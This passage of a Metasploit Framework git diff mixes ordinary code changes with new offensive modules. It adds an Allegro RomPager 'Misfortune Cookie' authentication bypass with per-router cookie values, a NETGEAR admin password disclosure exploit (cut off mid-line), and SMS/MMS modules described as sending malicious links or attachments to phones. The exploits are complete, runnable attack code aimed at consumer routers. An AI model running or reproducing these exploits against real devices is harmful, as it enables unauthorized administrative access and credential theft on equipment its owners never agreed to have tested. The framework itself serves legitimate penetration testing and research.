) if stat.directory? @@ -386,6 +392,8 @@ private client.framework.events.on_session_download( client, src, dest ) if msf_loaded? } end + + return true end def parse_dump(dump, get_images, get_files, download_path) @@ -406,15 +414,15 @@ private print_line(v) when 'Files' - total = 0 v.each do |f| print_line("Remote Path : #{f[:name]}") print_line("File size : #{f[:size]} bytes") if get_files - download_file( loot_dir, f[:name] ) + unless download_file(loot_dir, f[:name]) + print_error("Download of #{f[:name]} failed.") + end end print_line - total += f[:size] end when 'Image' diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb index b76dda80cf..508d4820ea 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb @@ -309,15 +309,15 @@ class Console::CommandDispatcher::Stdapi::Fs end # - # Delete the specified file. + # Delete the specified file(s). # def cmd_rm(*args) if (args.length == 0) - print_line("Usage: rm file") + print_line("Usage: rm file1 [file2...]") return true end - client.fs.file.rm(args[0]) + args.each { |f| client.fs.file.rm(f) } return true end @@ -442,7 +442,7 @@ class Console::CommandDispatcher::Stdapi::Fs files.each do |file| src_separator = client.fs.file.separator src_path = file['path'] + client.fs.file.separator + file['name'] - dest_path = src_path.tr(src_separator, ::File::SEPARATOR) + dest_path = ::File.join(dest, ::Rex::FileUtils::clean_path(file['path'].tr(src_separator, ::File::SEPARATOR))) client.fs.file.download(dest_path, src_path, opts) do |step, src, dst| print_status("#{step.ljust(11)}: #{src} -> #{dst}") @@ -756,7 +756,11 @@ class Console::CommandDispatcher::Stdapi::Fs # Source and destination will be the same src_items << last if src_items.empty? - dest = last + if args.size == 1 + dest = last.split(/(\/|\\)/).last + else + dest = last + end # Go through each source item and upload them src_items.each { |src| diff --git a/lib/rex/proto.rb b/lib/rex/proto.rb index 8696fcd5ea..b190bed866 100644 --- a/lib/rex/proto.rb +++ b/lib/rex/proto.rb @@ -7,6 +7,8 @@ require 'rex/proto/drda' require 'rex/proto/iax2' require 'rex/proto/kerberos' require 'rex/proto/rmi' +require 'rex/proto/sms' +require 'rex/proto/mms' module Rex module Proto diff --git a/lib/rex/proto/mms.rb b/lib/rex/proto/mms.rb new file mode 100644 index 0000000000..c797510d36 --- /dev/null +++ b/lib/rex/proto/mms.rb @@ -0,0 +1,4 @@ +# -*- coding: binary -*- + +require 'rex/proto/mms/exception' +require 'rex/proto/mms/model' diff --git a/lib/rex/proto/mms/client.rb b/lib/rex/proto/mms/client.rb new file mode 100644 index 0000000000..e05b10cf51 --- /dev/null +++ b/lib/rex/proto/mms/client.rb @@ -0,0 +1,89 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Mms + class Client + + # @!attribute carrier + # @return [Symbol] The service provider for the phone numbers. + attr_accessor :carrier + + # @!attribute smtp_server + # @return [Rex::Proto::Mms::Model::Smtp] The Smtp object with the Smtp settings. + attr_accessor :smtp_server + + + # Initializes the Client object. + # + # @param [Hash] opts + # @option opts [Symbol] Service provider name (see Rex::Proto::Mms::Model::GATEWAYS) + # @option opts [Rex::Proto::mms::Model::Smtp] SMTP object + # + # @return [Rex::Proto::Mms::Client] + def initialize(opts={}) + self.carrier = opts[:carrier] + self.smtp_server = opts[:smtp_server] + + validate_carrier! + end + + + # Sends a media text to multiple recipients. + # + # @param phone_numbers [Array] An array of phone numbers. + # @param subject [String] MMS subject + # @param message [String] The message to send. + # @param attachment_path [String] (Optional) The attachment to include + # @param ctype [String] (Optional) The content type to use for the attachment + # + # @return [void] + def send_mms_to_phones(phone_numbers, subject, message, attachment_path=nil, ctype=nil) + carrier = Rex::Proto::Mms::Model::GATEWAYS[self.carrier] + recipients = phone_numbers.collect { |p| "#{p}@#{carrier}" } + address = self.smtp_server.address + port = self.smtp_server.port + username = self.smtp_server.username + password = self.smtp_server.password + helo_domain = self.smtp_server.helo_domain + login_type = self.smtp_server.login_type + from = self.smtp_server.from + + smtp = Net::SMTP.new(address, port) + + begin + smtp.enable_starttls_auto + smtp.start(helo_domain, username, password, login_type) do + recipients.each do |r| + mms_message = Rex::Proto::Mms::Model::Message.new( + message: message, + content_type: ctype, + attachment_path: attachment_path, + from: from, + to: r, + subject: subject + ) + smtp.send_message(mms_message.to_s, from, r) + end + end + rescue Net::SMTPAuthenticationError => e + raise Rex::Proto::Mms::Exception, e.message + ensure + smtp.finish if smtp && smtp.started? + end + end + + + # Validates the carrier parameter. + # + # @raise [Rex::Proto::Mms::Exception] If an invalid service provider is used. + def validate_carrier! + unless Rex::Proto::Mms::Model::GATEWAYS.include?(self.carrier) + raise Rex::Proto::Mms::Exception, 'Invalid carrier.' + end + end + + end + end + end +end diff --git a/lib/rex/proto/mms/exception.rb b/lib/rex/proto/mms/exception.rb new file mode 100644 index 0000000000..dda5e72d81 --- /dev/null +++ b/lib/rex/proto/mms/exception.rb @@ -0,0 +1,10 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Mms + class Exception < ::RuntimeError + end + end + end +end diff --git a/lib/rex/proto/mms/model.rb b/lib/rex/proto/mms/model.rb new file mode 100644 index 0000000000..6bbd343146 --- /dev/null +++ b/lib/rex/proto/mms/model.rb @@ -0,0 +1,24 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Mms + module Model + + GATEWAYS = { + att:'mms.att.net', # AT&T Wireless + sprint: 'pm.sprint.com', # Sprint + tmobile: 'tmomail.net', # T-Mobile + verizon: 'vzwpix.com', # Verizon + google: 'msg.fi.google.com' # Google + } + + end + end + end +end + +require 'net/smtp' +require 'rex/proto/mms/model/smtp' +require 'rex/proto/mms/model/message' +require 'rex/proto/mms/client' diff --git a/lib/rex/proto/mms/model/message.rb b/lib/rex/proto/mms/model/message.rb new file mode 100644 index 0000000000..2da3aa6f3b --- /dev/null +++ b/lib/rex/proto/mms/model/message.rb @@ -0,0 +1,108 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Mms + module Model + class Message + + # @!attribute message + # @return [String] The text message + attr_accessor :message + + # @!attribute content_type + # @return [Fixnum] The content type of the attachment + attr_accessor :content_type + + # @!attribute attachment + # @return [String] The loaded attachment converted to Base64 + attr_accessor :attachment + + # @!attribute from + # @return [String] The from field in the email + attr_accessor :from + + # @!attribute to + # @return [String] The to field in the email + attr_accessor :to + + # @!attribute subject + # @return [String] The subject of the email + attr_accessor :subject + + # @!attribute attachment_name + # @return [String] The attachment base name extracted from :attachment + attr_accessor :attachment_name + + + # Initializes the SMTP object. + # + # @param [Hash] opts + # @option opts [String] :from + # @option opts [String] :to + # @option opts [String] :message + # @option opts [String] :content_type + # @option opts [String] :attachment_path + # + # @return [Rex::Proto::Mms::Model::Message] + def initialize(opts={}) + self.from = opts[:from] + self.to = opts[:to] + self.message = opts[:message] + self.subject = opts[:subject] + self.content_type = opts[:content_type] + if opts[:attachment_path] + self.attachment = load_file_to_base64(opts[:attachment_path]) + self.attachment_name = File.basename(opts[:attachment_path]) + end + end + + + # Returns the raw MMS message + # + # @return [String] + def to_s + generate_mms_message + end + + + private + + + # Returns the loaded file in Base64 format + # + # @return [String] Base64 data + def load_file_to_base64(path) + buf = File.read(path) + (Rex::Text.encode_base64(buf).scan(/.{,76}/).flatten * "\n").strip + end + + + # Returns the raw MMS message + # + # @return [String] + def generate_mms_message + text = Rex::MIME::Message.new + text.add_part(self.message, 'text/plain; charset=UTF-8', nil) + body = Rex::MIME::Message.new + body.add_part(text.to_s, "multipart/alternative; boundary=#{text.bound}", nil) + if self.attachment + body.add_part(self.attachment, "#{content_type}; name=\"#{attachment_name}\"", 'base64', "attachment; filename=\"#{attachment_name}\"") + end + + mms = "MIME-Version: 1.0\n" + mms << "From: #{self.from}\n" + mms << "To: #{self.to}\n" + mms << "Subject: #{self.subject}\n" + mms << "Content-Type: multipart/mixed; boundary=#{body.bound}\n" + mms << "\n" + mms << body.to_s.gsub(/\-\-\r\n\r\n\-\-_/, "--\n--_") + + mms + end + + end + end + end + end +end diff --git a/lib/rex/proto/mms/model/smtp.rb b/lib/rex/proto/mms/model/smtp.rb new file mode 100644 index 0000000000..994315db32 --- /dev/null +++ b/lib/rex/proto/mms/model/smtp.rb @@ -0,0 +1,64 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Mms + module Model + class Smtp + + # @!attribute address + # @return [String] SMTP address + attr_accessor :address + + # @!attribute port + # @return [Fixnum] SMTP port + attr_accessor :port + + # @!attribute username + # @return [String] SMTP account/username + attr_accessor :username + + # @!attribute password + # @return [String] SMTP password + attr_accessor :password + + # @!attribute login_type + # @return [Symbol] SMTP login type (:login, :plain, and :cram_md5) + attr_accessor :login_type + + # @!attribute from + # @return [String] Sender + attr_accessor :from + + # @!attribute helo_domain + # @return [String] The domain to use for the HELO SMTP message + attr_accessor :helo_domain + + + # Initializes the SMTP object. + # + # @param [Hash] opts + # @option opts [String] :address + # @option opts [Fixnum] :port + # @option opts [String] :username + # @option opts [String] :password + # @option opts [String] :helo_domain + # @option opts [Symbol] :login_type + # @option opts [String] :from + # + # @return [Rex::Proto::Mms::Model::Smtp] + def initialize(opts={}) + self.address = opts[:address] + self.port = opts[:port] || 25 + self.username = opts[:username] + self.password = opts[:password] + self.helo_domain = opts[:helo_domain] || 'localhost' + self.login_type = opts[:login_type] || :login + self.from = opts[:from] || '' + end + + end + end + end + end +end diff --git a/lib/rex/proto/sms.rb b/lib/rex/proto/sms.rb new file mode 100644 index 0000000000..bac7a0e9d6 --- /dev/null +++ b/lib/rex/proto/sms.rb @@ -0,0 +1,4 @@ +# -*- coding: binary -*- + +require 'rex/proto/sms/exception' +require 'rex/proto/sms/model' diff --git a/lib/rex/proto/sms/client.rb b/lib/rex/proto/sms/client.rb new file mode 100644 index 0000000000..271dafdec1 --- /dev/null +++ b/lib/rex/proto/sms/client.rb @@ -0,0 +1,81 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Sms + class Client + + # @!attribute carrier + # @return [Symbol] The service provider for the phone numbers. + attr_accessor :carrier + + # @!attribute smtp_server + # @return [Rex::Proto::Sms::Model::Smtp] The Smtp object with the Smtp settings. + attr_accessor :smtp_server + + + # Initializes the Client object. + # + # @param [Hash] opts + # @option opts [Symbol] Service provider name (see Rex::Proto::Sms::Model::GATEWAYS) + # @option opts [Rex::Proto::Sms::Model::Smtp] SMTP object + # + # @return [Rex::Proto::Sms::Client] + def initialize(opts={}) + self.carrier = opts[:carrier] + self.smtp_server = opts[:smtp_server] + + validate_carrier! + end + + + # Sends a text to multiple recipients. + # + # @param phone_numbers [Array] An array of phone numbers. + # @param message [String] The text message to send. + # + # @return [void] + def send_text_to_phones(phone_numbers, message) + carrier = Rex::Proto::Sms::Model::GATEWAYS[self.carrier] + recipients = phone_numbers.collect { |p| "#{p}@#{carrier}" } + address = self.smtp_server.address + port = self.smtp_server.port + username = self.smtp_server.username + password = self.smtp_server.password + helo_domain = self.smtp_server.helo_domain + login_type = self.smtp_server.login_type + from = self.smtp_server.from + + smtp = Net::SMTP.new(address, port) + + begin + smtp.enable_starttls_auto + smtp.start(helo_domain, username, password, login_type) do + recipients.each do |r| + smtp.send_message(message, from, r) + end + end + rescue Net::SMTPAuthenticationError => e + raise Rex::Proto::Sms::Exception, e.message + ensure + smtp.finish if smtp && smtp.started? + end + end + + + private + + + # Validates the carrier parameter. + # + # @raise [Rex::Proto::Sms::Exception] If an invalid service provider is used. + def validate_carrier! + unless Rex::Proto::Sms::Model::GATEWAYS.include?(self.carrier) + raise Rex::Proto::Sms::Exception, 'Invalid carrier.' + end + end + + end + end + end +end diff --git a/lib/rex/proto/sms/exception.rb b/lib/rex/proto/sms/exception.rb new file mode 100644 index 0000000000..241f879f20 --- /dev/null +++ b/lib/rex/proto/sms/exception.rb @@ -0,0 +1,10 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Sms + class Exception < ::RuntimeError + end + end + end +end diff --git a/lib/rex/proto/sms/model.rb b/lib/rex/proto/sms/model.rb new file mode 100644 index 0000000000..c98ecf6dca --- /dev/null +++ b/lib/rex/proto/sms/model.rb @@ -0,0 +1,31 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Sms + module Model + + GATEWAYS = { + :alltel => 'sms.alltelwireless.com', # Alltel + :att => 'txt.att.net', # AT&T Wireless + :boost => 'sms.myboostmobile.com', # Boost Mobile + :cricket => 'sms.mycricket.com', # Cricket Wireless + # Sprint is commented out, because the gateways don't seem to work. + # Gateways tried for Sprint: + # messaging.sprintpcs.com + # pm.sprint.com + #:sprint => 'messaging.sprintpcs.com', # Sprint + :tmobile => 'tmomail.net', # T-Mobile + :verizon => 'vtext.com', # Verizon + :virgin => 'vmobl.com', # Virgin Mobile + :google => 'msg.fi.google.com' # Google Project Fi + } + + end + end + end +end + +require 'net/smtp' +require 'rex/proto/sms/model/smtp' +require 'rex/proto/sms/client' diff --git a/lib/rex/proto/sms/model/smtp.rb b/lib/rex/proto/sms/model/smtp.rb new file mode 100644 index 0000000000..18edc9b4b0 --- /dev/null +++ b/lib/rex/proto/sms/model/smtp.rb @@ -0,0 +1,62 @@ +module Rex + module Proto + module Sms + module Model + class Smtp + + # @!attribute address + # @return [String] SMTP address + attr_accessor :address + + # @!attribute port + # @return [Fixnum] SMTP port + attr_accessor :port + + # @!attribute username + # @return [String] SMTP account/username + attr_accessor :username + + # @!attribute password + # @return [String] SMTP password + attr_accessor :password + + # @!attribute login_type + # @return [Symbol] SMTP login type (:login, :plain, and :cram_md5) + attr_accessor :login_type + + # @!attribute from + # @return [String] Sender + attr_accessor :from + + # @!attribute helo_domain + # @return [String] The domain to use for the HELO SMTP message + attr_accessor :helo_domain + + + # Initializes the SMTP object. + # + # @param [Hash] opts + # @option opts [String] :address + # @option opts [Fixnum] :port + # @option opts [String] :username + # @option opts [String] :password + # @option opts [String] :helo_domain + # @option opts [Symbol] :login_type + # @option opts [String] :from + # + # @return [Rex::Proto::Sms::Model::Smtp] + def initialize(opts={}) + self.address = opts[:address] + self.port = opts[:port] || 25 + self.username = opts[:username] + self.password = opts[:password] + self.helo_domain = opts[:helo_domain] || 'localhost' + self.login_type = opts[:login_type] || :login + self.from = opts[:from] || '' + end + + end + end + end + end +end diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 43ec078ac5..d400f5070d 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -65,7 +65,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.2.11' + spec.add_runtime_dependency 'metasploit-payloads', '1.2.19' # Needed for the next-generation POSIX Meterpreter spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.7' # Needed by msfgui and other rpc components @@ -77,7 +77,7 @@ Gem::Specification.new do |spec| # Needed by anemone crawler spec.add_runtime_dependency 'nokogiri' # Needed by db.rb and Msf::Exploit::Capture - spec.add_runtime_dependency 'packetfu' + spec.add_runtime_dependency 'packetfu', '1.1.13.pre' # For sniffer and raw socket modules spec.add_runtime_dependency 'pcaprub' # Needed for module caching in Mdm::ModuleDetails @@ -163,4 +163,6 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'openvas-omp' # Needed by metasploit nessus bridge spec.add_runtime_dependency 'nessus_rest' + # Nexpose Gem + spec.add_runtime_dependency 'nexpose' end diff --git a/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.rb b/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.rb new file mode 100644 index 0000000000..1bed95dd56 --- /dev/null +++ b/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.rb @@ -0,0 +1,233 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info( + info, + 'Name' => "Allegro Software RomPager 'Misfortune Cookie' (CVE-2014-9222) Authentication Bypass", + 'Description' => %q( + This module exploits HTTP servers that appear to be vulnerable to the + 'Misfortune Cookie' vulnerability which affects Allegro Software + Rompager versions before 4.34 and can allow attackers to authenticate + to the HTTP service as an administrator without providing valid + credentials. + ), + 'Author' => [ + 'Jon Hart ', # metasploit scanner module + 'Jan Trencansky ', # metasploit auxiliary admin module + 'Lior Oppenheim' # CVE-2014-9222 + ], + 'References' => [ + ['CVE', '2014-9222'], + ['URL', 'http://mis.fortunecook.ie'], + ['URL', 'http://mis.fortunecook.ie/misfortune-cookie-suspected-vulnerable.pdf'], # list of likely vulnerable devices + ['URL', 'http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf'] # 31C3 presentation with POC + ], + 'DisclosureDate' => 'Dec 17 2014', + 'License' => MSF_LICENSE + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'URI to test', '/']), + ], Exploit::Remote::HttpClient + ) + end + + def headers + { + 'Referer' => full_uri + } + end + + # List of known values and models + def devices_list + { + :'AZ-D140W'=> + {:name=>'Azmoon', :model=>'AZ-D140W', :values=>[ + [107367693, 13] + ]}, + :'BiPAC 5102S'=> + {:name=>'Billion', :model=>'BiPAC 5102S', :values=>[ + [107369694, 13] + ]}, + :'BiPAC 5200'=> + {:name=>'Billion', :model=>'BiPAC 5200', :values=>[ + [107369545, 9], + [107371218, 21] + ]}, + :'BiPAC 5200A'=> + {:name=>'Billion', :model=>'BiPAC 5200A', :values=>[ + [107366366, 25], + [107371453, 9] + ]}, + :'BiPAC 5200GR4'=> + {:name=>'Billion', :model=>'BiPAC 5200GR4', :values=>[ + [107367690, 21] + ]}, + :'BiPAC 5200SRD'=> + {:name=>'Billion', :model=>'BiPAC 5200SRD', :values=>[ + [107368270, 1], + [107371378, 3], + [107371218, 13] + ]}, + :'DSL-2520U'=> + {:name=>'D-Link', :model=>'DSL-2520U', :values=>[ + [107368902, 25] + ]}, + :'DSL-2600U'=> + {:name=>'D-Link', :model=>'DSL-2600U', :values=>[ + [107366496, 13], + [107360133, 20] + ]}, + :'TD-8616'=> + {:name=> 'TP-Link', :model=>'TD-8616', :values=>[ + [107371483, 21], + [107369790, 17], + [107371161, 1], + [107371426, 17], + [107370211, 5], + ]}, + :'TD-8817'=> + {:name=> 'TP-Link', :model=>'TD-8817', :values=>[ + [107369790, 17], + [107369788, 1], + [107369522, 25], + [107369316, 21], + [107369321, 9], + [107351277, 20] + ]}, + :'TD-8820'=> + {:name=>'TP-Link', :model=>'TD-8820', :values=>[ + [107369768, 17] + ]}, + :'TD-8840T'=> + {:name=>'TP-Link', :model=>'TD-8840T', :values=>[ + [107369845, 5], + [107369790, 17], + [107369570, 1], + [107369766, 1], + [107369764, 5], + [107369688, 17] + ]}, + :'TD-W8101G'=> + {:name=>'TP-Link', :model=>'TD-W8101G', :values=>[ + [107367772, 37], + [107367808, 21], + [107367751, 21], + [107367749, 13], + [107367765, 25], + [107367052, 25], + [107365835, 1] + ]}, + :'TD-W8151N'=> + {:name=>'TP-Link', :model=>'TD-W8151N', :values=>[ + [107353867, 24] + ]}, + :'TD-W8901G'=> + {:name=> 'TP-Link', :model=>'TD-W8901G', :values=>[ + [107367787, 21], + [107368013, 5], + [107367854, 9], + [107367751, 21], + [107367749, 13], + [107367765, 25], + [107367682, 21], + [107365835, 1], + [107367052, 25] + ]}, + :'TD-W8901GB'=> + {:name=>'TP-Link', :model=>'TD-W8901GB', :values=>[ + [107367756, 13], + [107369393, 21] + ]}, + :'TD-W8901N'=> + {:name=>'TP-Link', :model=>'TD-W8901N', :values=>[ + [107353880, 0] + ]}, + :'TD-W8951ND'=> + {:name=>'TP-Link', :model=>'TD-W8951ND', :values=>[ + [107369839, 25], + [107369876, 13], + [107366743, 21], + [107364759, 25], + [107364759, 13], + [107364760, 21] + ]}, + :'TD-W8961NB'=> + {:name=>'TP-Link', :model=>'TD-W8961NB', :values=>[ + [107369844, 17], + [107367629, 21], + [107366421, 13] + ]}, + :'TD-W8961ND'=> + {:name=>'TP-Link', :model=>'TD-W8961ND', :values=>[ + [107369839, 25], + [107369876, 13], + [107364732, 25], + [107364771, 37], + [107364762, 29], + [107353880, 0], + [107353414, 36] + ]}, + :'P-660R-T3 v3'=> #This value works on devices with model P-660R-T3 v3 not P-660R-T3 v3s + {:name=>'ZyXEL', :model=>'P-660R-T3', :values=>[ + [107369567, 21] + ]}, + :'P-660RU-T3 v2'=> #Couldn't verify this + {:name=>'ZyXEL', :model=>'P-660R-T3', :values=>[ + [107369567, 21] + ]}, + } + end + + + def check_response_fingerprint(res, fallback_status) + fp = http_fingerprint(response: res) + vprint_status("Fingerprint: #{fp}") + if /realm="(?.+)"/ =~ fp + return model + end + fallback_status + end + + def run + res = send_request_raw( + 'uri' => normalize_uri(target_uri.path.to_s), + 'method' => 'GET', + ) + model = check_response_fingerprint(res, Exploit::CheckCode::Detected) + if model != Exploit::CheckCode::Detected + devices = devices_list[model.to_sym] + if devices != nil + print_good("Detected device:#{devices[:name]} #{devices[:model]}") + devices[:values].each { |value| + cookie = "C#{value[0]}=#{'B'*value[1]}\x00" + res = send_request_raw( + 'uri' => normalize_uri(target_uri.path.to_s), + 'method' => 'GET', + 'headers' => headers.merge('Cookie' => cookie) + ) + if res != nil and res.code <= 302 + print_good('Good response, please check host, authentication should be disabled') + break + else + print_error('Bad response') + end + } + else + print_error("No matching values for fingerprint #{model}") + end + else + print_error('Unknown device') + end + end +end diff --git a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb index c0636e47c6..6e20542aee 100644 --- a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb +++ b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb @@ -4,7 +4,7 @@ ## require 'msf/core' -require 'rapid7/nexpose' +require 'nexpose' class MetasploitModule < Msf::Auxiliary @@ -74,9 +74,10 @@ class MetasploitModule < Msf::Auxiliary def run user = datastore['USERNAME'] pass = datastore['PASSWORD'] + trust_store = datastore['TRUST_STORE'] prot = ssl ? 'https' : 'http' - nsc = Nexpose::Connection.new(rhost, user, pass, rport) + nsc = Nexpose::Connection.new(rhost, user, pass, rport, nil, nil, trust_store) print_status("Authenticating as: " << user) begin @@ -140,7 +141,7 @@ class MetasploitModule < Msf::Auxiliary print_status("Cleaning up") begin - nsc.site_delete id + nsc.delete_site id rescue print_warning("Error while cleaning up site ID, manual cleanup required!") end diff --git a/modules/auxiliary/client/hwbridge/connect.rb b/modules/auxiliary/client/hwbridge/connect.rb index 01418ddf46..8a74bb3ec8 100644 --- a/modules/auxiliary/client/hwbridge/connect.rb +++ b/modules/auxiliary/client/hwbridge/connect.rb @@ -67,6 +67,8 @@ class MetasploitModule < Msf::Auxiliary if res.code == 200 print_status res.body if datastore['DEBUGJSON'] == true return JSON.parse(res.body) + elsif res.code == 401 + print_error "Access Denied: #{res.body}" end return nil @@ -98,6 +100,9 @@ class MetasploitModule < Msf::Auxiliary if self.hw_specialty.key? "automotive" sess.load_automotive if self.hw_specialty["automotive"] == true end + if self.hw_specialty.has_key? "zigbee" + sess.load_zigbee if self.hw_specialty["zigbee"] == true + end end # diff --git a/modules/auxiliary/client/mms/send_mms.rb b/modules/auxiliary/client/mms/send_mms.rb new file mode 100644 index 0000000000..f7b8f250ce --- /dev/null +++ b/modules/auxiliary/client/mms/send_mms.rb @@ -0,0 +1,35 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Auxiliary::Mms + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'MMS Client', + 'Description' => %q{ + This module sends an MMS message to multiple phones of the same carrier. + You can use it to send a malicious attachment to phones. + }, + 'Author' => [ 'sinn3r' ], + 'License' => MSF_LICENSE + )) + end + + def run + phone_numbers = datastore['CELLNUMBERS'].split + print_status("Sending mms message to #{phone_numbers.length} number(s)...") + begin + res = send_mms(phone_numbers, datastore['MMSSUBJECT'], datastore['TEXTMESSAGE'], datastore['MMSFILE'], datastore['MMSFILECTYPE']) + print_status("Done.") + rescue Rex::Proto::Mms::Exception => e + print_error(e.message) + end + end + +end diff --git a/modules/auxiliary/client/sms/send_text.rb b/modules/auxiliary/client/sms/send_text.rb new file mode 100644 index 0000000000..8dbff90190 --- /dev/null +++ b/modules/auxiliary/client/sms/send_text.rb @@ -0,0 +1,38 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Auxiliary::Sms + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'SMS Client', + 'Description' => %q{ + This module sends a text message to multiple phones of the same carrier. + You can use it to send a malicious link to phones. + + Please note that you do not use this module to send a media file (attachment). + In order to send a media file, please use auxiliary/client/mms/send_mms instead. + }, + 'Author' => [ 'sinn3r' ], + 'License' => MSF_LICENSE + )) + end + + def run + phone_numbers = datastore['CELLNUMBERS'].split + print_status("Sending text (#{datastore['SMSMESSAGE'].length} bytes) to #{phone_numbers.length} number(s)...") + begin + res = send_text(phone_numbers, datastore['SMSMESSAGE']) + print_status("Done.") + rescue Rex::Proto::Sms::Exception => e + print_error(e.message) + end + end + +end diff --git a/modules/auxiliary/crawler/msfcrawler.rb b/modules/auxiliary/crawler/msfcrawler.rb index 991f98e23d..3d4a0341e5 100644 --- a/modules/auxiliary/crawler/msfcrawler.rb +++ b/modules/auxiliary/crawler/msfcrawler.rb @@ -180,14 +180,18 @@ class MetasploitModule < Msf::Auxiliary def storedb(hashreq,response,dbpath) + # Added host/port/ssl for report_web_page support info = { :web_site => @current_site, :path => hashreq['uri'], :query => hashreq['query'], - :data => hashreq['data'], - :code => response['code'], - :body => response['body'], - :headers => response['headers'] + :host => hashreq['rhost'], + :port => hashreq['rport'], + :ssl => !hashreq['ssl'].nil?, + :data => hashreq['data'], + :code => response.code, + :body => response.body, + :headers => response.headers } #if response['content-type'] diff --git a/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb b/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb index 4f8e978363..2e89edc31a 100644 --- a/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb +++ b/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb @@ -30,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ Opt::RPORT(25), - OptInt.new("STARTLEN", [true, "Lenght of the string - start number", 100] ), + OptInt.new("STARTLEN", [true, "Length of the string - start number", 100] ), OptInt.new("INTERACTIONS", [false, "Number of interactions to run", 100] ), OptBool.new("RESPECTORDER", [false, "Respect order of commands", true] ), OptEnum.new("CMD", [true,"Command to fuzzer",'EHLO', diff --git a/modules/auxiliary/gather/netgear_password_disclosure.rb b/modules/auxiliary/gather/netgear_password_disclosure.rb new file mode 100644 index 0000000000..0be849fa98 --- /dev/null +++ b/modules/auxiliary/gather/netgear_password_disclosure.rb @@ -0,0 +1,133 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'NETGEAR Administrator Password Disclosure', + 'Description' => %q{ + This module will collect the password for the `admin` user. + The exploit will not complete if password recovery is set on the router. + The password is received by passing the token generated from `unauth.cgi` + to `passwordrecovered.cgi`. This exploit works on many different NETGEAR + products. The full list of affected products is available in the 'References' + section. + + }, + 'Author' => + [ + 'Simon Kenin', # Vuln Discovery, PoC + 'thecarterb' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2017-5521' ], + [ 'URL', 'https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2017-003/?fid=8911' ], + [ 'URL', 'http://thehackernews.com/2017/01/Netgear-router-password-hacking.html'], + [ 'URL', 'https://www.trustwave.com/Resources/SpiderLabs-Blog/CVE-2017-5521--Bypassing-Authentication-on-NETGEAR-Routers/'], + [ 'URL', 'http://pastebin.com/dB4bTgxz'], + [ 'EDB', '41205'] + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + OptString::new('TARGETURI', [true, 'The base path to the vulnerable application', '/']) + ], self.class) + end + + # @return substring of 'text', usually a response from a server in this case + def scrape(text, start_trig, end_trig) + text[/#{start_trig}(.*?)#{end_trig}/m, 1] + end + + def run + uri = target_uri.path + uri = normalize_uri(uri) + print_status("Checking if #{rhost} is a NETGEAR router") + vprint_status("Sending request to http://#{rhost}/") + + # will always call check no matter what + is_ng = check + + res = send_request_cgi({ 'uri' => uri }) + if res.nil? + print_error("#{rhost} returned an empty response.") + return + end + + if is_ng == Exploit::CheckCode::Detected + marker_one = "id=" + marker_two = "\"" + token = scrape(res.to_s, marker_one, marker_two) + if token.nil? + print_error("#{rhost} is not vulnerable: Token not found") + return + end + + if token == '0' + print_status("If no creds are found, try the exploit again. #{rhost} returned a token of 0") + end + print_status("Token found: #{token}") + vprint_status("Token found at #{rhost}/unauth.cgi?id=#{token}") + + r = send_request_cgi({ + 'uri' => "/passwordrecovered.cgi", + 'vars_get' => { 'id' => token } + }) + + vprint_status("Sending request to #{rhost}/passwordrecovered.cgi?id=#{token}") + + html = r.get_html_document + raw_html = html.text + + username = scrape(raw_html, "Router Admin Username", "Router Admin Password") + password = scrape(raw_html, "Router Admin Password", "You can") + if username.nil? || password.nil? + print_error("#{rhost} returned empty credentials") + return + end + username.strip! + password.strip! + + if username.empty? || password.empty? + print_error("No Creds found") + else + print_good("Creds found: 